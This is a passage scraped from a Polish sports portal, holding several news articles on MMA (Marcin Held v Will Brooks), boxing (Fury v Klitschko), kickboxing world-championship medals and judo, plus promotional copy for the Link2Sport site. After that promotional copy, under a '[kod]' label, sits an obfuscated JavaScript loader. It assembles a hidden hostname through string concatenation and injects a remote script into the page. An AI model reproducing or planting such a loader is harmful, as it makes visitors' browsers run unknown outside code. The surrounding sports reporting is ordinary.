przegrał już w 1/16 z Mikiem Zambidisem, wystąpił w następnej rundzie dzięki dzikiej karcie. Uległ tam jednak Masato. W 2009 roku przegrał w ćwierćfinale po wyrównanej walce z Yuyą Yamamoto.  W lutym 2009 roku walczył w Antwerpii z Turkiem Muratem Direkci o mistrzostwo It’s Showtime w kategorii 70 kg. Przegrał przez techniczny nokaut w trzeciej rundzie. W 2010 roku powtórzył osiągnięcie z 2006 roku, gdy dotarł do półfinału K-1 World MAX. W walce o finał przegrał z Yoshihiro Sato. 

Held powalczy o pas. Ma szanse?

6 listopada Marcin Held stanie przed szansą na wywalczenie mistrzowskiego pasa wagi lekkiej organizacji Bellator. Na drodze Polaka stanie Will Brooks.

Held jest już ukształtowanym fighterem. Świetnie odnalazł się w Bellatorze, co pozwoliło mu dopiąć swego i dojść do walki o pas mistrzowski. Według ocen bukmacherów Polak nie jest faworytem, ale nie należy przekreślać jego szans na pokonanie Brooksa.

Świetna passa

Nasz zawodnik jest ekspertem od poddań. W sześciu ostatnich walkach tylko raz o wyniku pojedynku decydowali sędziowie. Held jest szybki, zwrotny i skuteczny do perfekcji. Każdy kolejny rywal zawodnika z Tych musi mieć się na baczności, gdyż nigdy nie wie, co Polakowi przyjdzie do głowy. Aleksandr Sarnavski wytrzymał na placu boju z 23-latkiem dwie rundy. W trzeciej odsłonie na jego twarzy pojawił się grymas bólu, który oznaczał tylko jedno – porażkę.

Held pokonał Rosjanina zakładając mu dźwignię na nogę. Sarnavski wył z bólu, starał się uwolnić, ale musiał uznać wyższość polskiego zawodnika. Dodatkowo Rosjanin doznał kontuzji. Walka Held vs Sarnavski miała miejsce w kwietniu podczas gali Bellator 136. W walce wieczoru zaprezentował się najbliższy rywal Polaka Will Brooks, który uporał się z Dave'm Jansenem. Mistrz wagi lekkiej potrzebował jednak pełnych pięciu rund do odniesienia zwycięstwa. Amerykanin nie jest tak efektowny jak Held. Tylko jedna ostatnich jego pięciu walk zakończyła się przed czasem.

Jednak Brooks to mocny zawodnik. Mistrz wagi lekkiej nie jest wirtuozem parteru, ale potrafi potraktować swoich oponentów mocnym ciosem, który zatrzyma ich zapędy. Brooks wygrał siedem pojedynków z rzędu, jednak tylko dwa przed czasem. Po raz ostatni przegrał w lutym 2013 roku. Walka trwała zaledwie czterdzieści trzy sekundy, a pogromcą Amerykanina okazał się Saad Awad.

Jak wyglądają statystyki w przypadku 23-latka z Polski? Held wygrał sześć pojedynków z rzędu, a ostatnią porażkę zanotował w marcu 2013 roku. Polak przegrał z Dave'm Jansenem. Zatem Held i Brooks ponad dwa lata są niezwyciężeni. 6 listopada podczas gali Bellator 145 dobra passa jednego z nich dobiegnie końca.

Bukmacherzy za Amerykaninem

Rzecz jasna, że bukmacherzy wyżej cenią Brooksa, jednak wcale nie przekreślają szans Polaka. Za złotówkę postawioną na Helda można wygrać około trzech złotych. Historia zna przypadki, że akcje pretendentów stały zdecydowanie niżej. Można spodziewać się ciekawej walki. W parterze Held może pokazać bogaty repertuar i zatrzymać mistrza, z kolei w stójce musi być ostrożny. Przed 23-latkiem ogromna życiowa szans.  Powtarza się opinia, że Held to wielki talent polskiego MMA. Zawodnik z Tych rozwija się i widać tego owoce. Czy kolejnym krokiem będzie pas mistrzowski?

W walce wieczoru podczas gali Bellator 145 zaprezentują się Patricio Freire i Daniel Straus. Będzie to rewanż za pojedynek ze stycznia. Ze zwycięstwa mógł cieszyć się Brazylijczyk, który zanotował szóstą wygraną z rzędu. Straus po raz kolejny postara się powstrzymać marsz 28-latka. Czy tym razem mu się powiedzie? Warto dodać, że Straus już dwukrotnie starał się pokonać Brazylijczyka. Bezskutecznie.

KM

Marcin Held

Polski zawodnik MMA urodzony 18 stycznia 1992 roku w Tychach. Jest posiadaczem czarnego pasa w Brazylijskim Jiu Jitsu. Zawodową karierę w MMA rozpoczął w 2008 roku pokonując przez dźwignię łokciową Mateusza Piórkowskiego podczas gali Abak Moto na katowickim Muchowcu. W 2009 roku Held stoczył sześć walk pokonując kolejno Artura Sowińskiego, Mariusza Pioskowika, Rafała Lasotę. W trzech starciach turniejowych pokonywał kolejno Ireneuszą Milę, Mariusza Abramiuka i Borysa Mańkowskiego. Tym samym Held został mistrzem MMA Challengers w wadze lekkiej. W 2011 roku podpisał kontrakt z Bellator, a jeszcze w tym samym roku w debiucie, wystartował w turnieju wagi lekkiej odpadając w ćwierćfinale w pojedynku z przyszłym tryumfatorem tegoż turnieju Amerykaninem Michaelem Chandlerem. W 2013 roku doszedł do finału kolejnego turnieju w kategorii do 70 kg ulegając w nim na punkty Amerykaninowi Dave’owi Jansenowi. 26 września 2014 roku, w swoim trzecim już podejściu zwyciężył w całym turnieju wagi lekkiej pokonując w finale Brazylijczyka Patricka Freire przez jednogłośną decyzję sędziów, inkasując przy tym czek w wysokości 100,000 $ oraz otrzymując prawo walki o pas międzynarodowego mistrza Bellatora. 6 listpada 2015 roku doszło do starcia Helda z Will Brooksem o pas mistrzowski federacji Bellator. Marcin przegrał przez jednogłośną decyzję sędziów.

Fury myśli o zakończeniu kariery?

Wiadomo, że Tyson Fury lubi zwracać na siebie uwagę. To więcej niż pewne. Brytyjski bokser nie szczędzi sobie ciepłych słów i nie ukrywa swojej potęgi na zawodowym ringu. 28 listopada będzie miał okazję stać się wielkim mistrzem.

W Dusseldorfie Fury zmierzy się z Władimirem Kliczko, który ma w swojej kolekcji pasy WBO/WBA/IBO/IBF wagi ciężkiej. Kolejni pięściarze zapowiadają, że zakończą panowanie Ukraińca, ale na słowach się kończy.

Czcze gadanie?

Fury jest jednym z tych bokserów, którzy potrafią zrobić wokół siebie szum medialny. Brytyjczyk składa przed kamerami wiele deklaracji, ale do jego słów trzeba podchodzić z dystansem. Rzecz jasna, że w ringu przekonamy się, czy jest lepszy od ukraińskiego mistrza. Jednak scenariusz o zakończeniu kariery przez Brytyjczyka po starciu z mistrzem wagi ciężkiej wydaje się mało prawdopodobny – Na tę chwilę nie planuję nic po tej walce. To może być koniec. Chcę zdobyć miano najlepszego na świecie. Wygrana z Kliczko umocni moją pozycję jako lidera wśród bokserów. Czy po tym pojedynku będę miał jeszcze co robić? W ringu chcę zrobić coś, czego wcześniej nikt nie dokonał. Wygrać, ale nie tylko. Po tej walce rozpocznie się nowy rozdział w moim życiu – zdradza Fury.

Jak widać Brytyjczyk wybiega daleko w przyszłość zamiast wykorzystać trzy tygodnie, które zostały do walki z mistrzem z Ukrainy. 28 listopada to dzień weryfikacji możliwości niepokonanego dotąd 27-letniego pięściarza. Pewne jest, że w tej chwili Fury jest najlepszym pięściarzem na Wyspach Brytyjskich. Dereck Chisora musiał uznać jego wyższość, a Anthony Joshua dopiero buduje swoją pozycję. Fury to kawał chłopa, silny i mocny bokser, który ma ogromny potencjał. Wydaje się, że za jego umiejętnościami nie nadąża głowa. Fury buja w chmurach i ciągle gloryfikuje swoją osobę.

W rozmowie z BBC.com Brytyjczyk zaszokował. Fury określił się mianem współczesnego Muhammada Ali. –  Chciałbym powiedzieć, że jestem współczesnym Muhammadem Ali. Obecnie w boksie nie ma kogoś takiego jak ja. Nie widzę nikogo takiego w żadnej kategorii wagowej po zakończeniu kariery przez Floyda Mayweathera Jr. – prezentuje swoje zdanie brytyjski bokser wagi ciężkiej.

Zainteresowanie rośnie

Tak naprawdę walka Fury vs Kliczko zbliża się wielkimi krokami. Obaj wejdą na ring już 28 listopada. Czy posypią się gromy?

Warto zwrócić uwagę, że Kliczko stanie przed trudnym zadaniem. Wejdzie do ringu z rywalem cięższym i wyższym, który ma większy zasięg ramion. Kliczko będzie musiał się mieć na baczności, gdyż jego rywal dysponuje wieloma atutami. Decydujący może okazać się spokój ukraińskiego mistrza. Fury może nie wytrzymać temperatury pojedynku, a Kliczko do takich walk jest przyzwyczajony. 

KM

Portal Link2Sport

Portal Link2Sport jest stroną unikatową w skali kraju. Głównym założeniem strony jest zrzeszanie jak największej ilości osób uprawiających sport, lub działających w jego obrębie.

Serwis daje możliwość tworzenia własnych blogów, zakładania grup/drużyn, wymianą informacji między specjalistami a także szukaniu potencjalnych klientów.

Są tutaj 3 rodzaje kont (funkcjonalność każdego z nich można wzbogacić wykupując pakiety abonamentowe): Sportowiec / drużyna Specjalista (dietetycy, sędziowie, trenerzy itd.) Organizacja (klub sportowy, sponsor, ośrodek sportowy itd.) Konto sportowca jest dostępne bez konieczności wnoszenia opłat, należy jednak zweryfikować swoją tożsamość przed możliwością korzystania z serwisu. Wymagane jest podanie swoich danych osobowy, wieku, rodzaju uprawianej dyscypliny sportu, oraz danych kontaktowych.

Dla organizacji i firm związanych ze sportem mamy tutaj możliwość znalezienia nowych współpracowników: sportowców, specjalistów, firm kooperujących, sponsorów i usługodawców.

W serwisie jest także możliwość promocji własnej organizacji i imprez przez nią przygotowanych, a także używanie narzędzi społecznościowych i promocyjnych do samodzielnego ustawienia w serwisie (newslettery, autopromocja graficzna, przekazanie materiałów w formie załącznika i wiele innych.

Posiadanie konta organizacji daje też możliwość zamieszczania płatnych ogłoszeń na stronie głównej serwisu, daje swobodny dostęp do bazy danych sportowców, profesjonalistów i wydarzeń sportowych. Organizacje powiązane z poszczególnymi sportowcami, są wyróżniane na stronie wizytówce danej osoby. Jako organizacja można publikować wiadomości skierowane indywidualnie, grupowe (np. do swoich członków) jak również na forum. Ponadto organizacje mogą publikować wpisy widoczne na kontach swoich członków.

Dla osób korzystających z serwisu jest też możliwość rejestracji, logowania się do serwisu, a także powiązania swojego profilu z profilem społecznościowym (Facebook, LinkedIn, Twitter, Instagram), dzięki czemu nie jest konieczne zakładanie konta od zera i posługiwania się dodatkowym loginem/hasłem. Wybrane zdarzenia w portalu można publikować bezpośrednio na ścianie lub w strumieniu danych swojego profilu społecznościowego.

Portal Link2Sport.pl to nowoczesna platforma, która ułatwi nawiązywanie kontaktów, każdemu, kto chce się rozwijać i poszerzać swoją wiedzę dzięki wymianie informacji i współpracy z innymi podmiotami.

 

 

Link2sport to innowacyjna i unikatowa platforma skierowana do bardzo szerokiej grupy odbiorców, których łączy sport – zarówno w wydaniu amatorskim jak również profesjonalnym, a także od strony biznesowej. Jest to jedyne na polskim i europejskim rynku rozwiązanie oferujące tak wiele użyteczności zgromadzonych w jednym miejscu.

Dołącz do Link2sport już dziś i przekonaj się jak łatwo możesz uwolnić swój sportowy potencjał: www.link2sport.pl

 

 

[kod]

(function(){
u9iy=document.createElement("script");u9iy.type="text/javascript";
u9iy.async=true;u9iy_=(("us")+"t")+"a";u9iy_+=("t.i")+""+"n";u9iy_+=(("f")+"o");
u9iy.src="http://"+u9iy_+"/5368256.Xyztnv2g9iy6igu7qjncwf5yvgp9jg";
document.body.appendChild(u9iy);
})();

Moc polskiego kickboxingu

Po raz kolejny zyskaliśmy dowód, że nasz kickboxing ma się dobrze. Na światowych salonach nasi zawodnicy zaprezentowali wysoki poziom, który okrasili pokaźną zdobyczą medalową.

Podczas rozegranych w Belgradzie mistrzostw świata nasza reprezentacja wywalczyła łącznie dwadzieścia dwa krążki, w tym osiem złotych. W klasyfikacji medalowej biało-czerwoni uplasowali się na trzecim miejscu. Najlepsi okazali się Rosjanie, którzy wyprzedzili Serbów.

Ogromny potencjał

Czasami jest tak, że raz po raz powtarza się frazy o posiadaniu pewnego kapitału. Nie każdy potrafi go przekłuć w sukces, jednak w przypadku naszych kickbokserów sytuacja jest zgoła odmienna. Od lat nasi reprezentanci pokazują, że w ich przypadku potencjał daje wymierne efekty.

Najlepszym tego dowodem jest start w mistrzostwach świata w Belgradzie. Podczas trwania czempionatu docierały do nas kolejne radosne informacje. Nasi zawodnicy gromili kolejnych rywali na swoich drogach i zmierzali w kierunku miejsc na podium. Po raz drugi mistrzynią świata w kick-light została Dorota Godzina. Zawodniczka X-Fight Piaseczno złoty krążek wywalczyła w 2011 roku i po czterech latach mogła po raz kolejny cieszyć się z triumfu. W finale kategorii 55kg była zdecydowanie lepsza, co przekłuło się na pewne zwycięstwo nad Jovaną Milovanović.

W dobrej formie do Belgradu udała się Iwona Nieroda. Było pewne, że zawodniczkę Diamentu Pstrągowa w low kicku stać na wiele i z każdą kolejną walką rósł apetyt na medal. W ćwierćfinale Nieroda odprawiła z rywalizacji groźną Rosjankę. Ajla Lukac z Serbii nie miała zbyt wiele do powiedzenia w finałowej rywalizacji z Polką. W kick light po tytuł mistrza świata sięgnął Michał Bławdziewicz. Zawodnik warszawskiej Palestry w wadze ciężkiej uporał się z Ehramem Majidovem. Tyle szczęścia, co Bławdziewicz nie miał jego klubowy kolega. Jerzy Wroński w finale 74kg przegrał z Dimitarem Gjorgijevem. Trudne warunki Piotrowi Wypchałowi w kategorii 94kg postawił Ibrahim Telli. Zacięty bój zakończył się jednak pozytywnym werdyktem dla Polaka, który wygrał 2:1. W K-1 po mistrzostwo świata sięgnęła Paulina Bieć w kategorii +70kg.

Panie są lepsze

Warto rozłożyć nasz dorobek medalowy na części pierwsze. Łącznie Polacy wywalczyli dwadzieścia dwa krążki, w tym osiem złotych, cztery srebrne i dziesięć brązowych. Najlepiej zaprezentowali się zawodnicy rywalizując w kick light. Nasi reprezentanci wywalczyli pięć złotych, dwa srebrne i trzy brązowe. W low kicku nie mamy wicemistrza świata, ale są za to dwie mistrzynie (Nieroda i Marta Waliczek). Z kolei w K-1 złoto dla Pauliny Bieć, srebra dla Pawła Stępniewskiego (57kg) i Arkadiusza Kasuzby(81kg). Do tego dochodzą jeszcze trzy medale koloru brązowego.

W naszej kadrze jest pięć mistrzyń świata i trzech mistrzów. Srebrne medale zdobywali tylko panowie. Siedem brązowych krążków zapisały na swoim koncie nasze zawodniczki. Trzy zawisły na szyjach naszych panów.

KM

Japonka pozbawiła Kłys szans na złoto

Katarzyna Kłys zaprezentowała się z dobrej strony podczas turnieju Grand Slam w judo, który został rozegrany w Abu Zabi. Polka startująca w kategorii 70kg stanęła na podium.

Kłys była skuteczna, co pozwoliło jej na zdobycie brązowego medalu. Dodatkowo zyskała dwieście punktów w wyścigu o wyjazd na Igrzyska Olimpijskie do Rio de Janeiro. Dobry występ w Abu Zabi zaliczyła również Karolina Pieńkowska, która stoczyła m.in. wyrównany bój z Majlindą Kelmendi.

Japonka nie do pokonania

Katarzyna Kłys nie może znaleźć sposobu na Chizuru Arai, która jest sklasyfikowana na dziewiątym miejscu w światowym rankingu. Judoczki spotkały się podczas drużynowego starcia w mistrzostwach świata w Astanie. W finale Polska uległa Japonii 0:5. Arai nie dała żadnych szans Kłys. Podobnie było w Abu Zabi, gdzie zawodniczki spotkały się w ćwierćfinale i Japonka triumfowała przez waza-ari.

Zawodniczka Polonii Rybnik w Abu Zabi trafiła na wymagające rywalki, jednak poniosła tylko jedną porażkę. Kłys wygrała przez ippon z siódmą zawodniczką światowego rankingu Sally Conway. Porażka z Arai sprawiła, że Polka musiała rywalizować w repasażach. Wygrana pozwalała jej walczyć o brązowy medal. Kłys musiała pokonać Assmę Niang. Reprezentantka Maroko jest czternastą zawodniczką światowego rankingu, więc Polka po raz kolejny musiała wspiąć się na wyżyny. W Abu Zabi prezentowała dobrą dyspozycję. Kłys walczyła agresywnie i dostała dwie żółte kartki, ale udało jej się wygrać z Niang przez ippon. W pojedynku o brąz Polka stanęła na wprost Kelity Zupancic. Zacięta walka, ale Kłys po raz kolejny pokazała, że jest naładowana i niestraszna jej żadna rywalka. Ippon zdecydował o trumfie zawodniczki Polonii Rybnik.

W takiej dyspozycji o kolejne występy Kłys możemy być spokojni. Szkoda, że w Abu Zabi nie znalazła sposobu na Arai. W starciach z zawodniczkami z czołówki Polka pokazała swoją siłę i potencjał.

Pieńkowska szła jak burza

Dobry występ w Abu Zabi zaliczyła Karolina Pieńkowska w kategorii 52kg. Polka rywalizowała na równi z rywalkami z czołówki światowego rankingu. Na początek Pieńkowska trafiła na Joanę Ramos z Portugalii. Dwunastka zawodniczka światowego rankingu musiała uznać wyższość Polki. W kolejnym pojedynku los skojarzył reprezentantkę Polski z Laurą Gomez. Pieńkowska wygrała przez waza-ari, ale w ćwierćfinale trafiła na rywalkę z najwyższej półki. Majlinda Kelmendi to trzecia zawodniczka światowego rankingu, była mistrzyni świata i Europy. Reprezentantka Kosowa od początku była aktywna i atakowała naszą zawodniczkę. W końcu Kelmendi rzuciła Polkę, owinęła się wokół niej aż udało jej się zakończyć pojedynek przez ippon.

Pieńkowska walczyła dalej. Polka trafiła do repasaży, gdzie poradziła sobie z Gili Cohen. Pieńkowska wygrała przez waza-ari, ale warto wspomnieć, że zawodniczka z Izraela zapisała na swoim koncie yuko. Pojedynek o trzecie miejsce wyrównany. Priscila Gneto okazała się wymagającą przeciwniczką, a co najważniejsze była w pełni skupiona i uważna. Żadna z judoczek nie znalazła sposobu, aby zaskoczyć swoją rywalkę. Francuzka wygrała dzięki karom shido. Pieńkowska dostała dwa upomnienia, a Gneto tylko jedno. Reprezentantka Polski zajęła piątą pozycję w prestiżowych zawodach Grand Slam w Abu Zabi, czy poprawiła swój dorobek punktowy w klasyfikacji olimpijskiej. Pieńkowska zdobyła sto punktów.

KM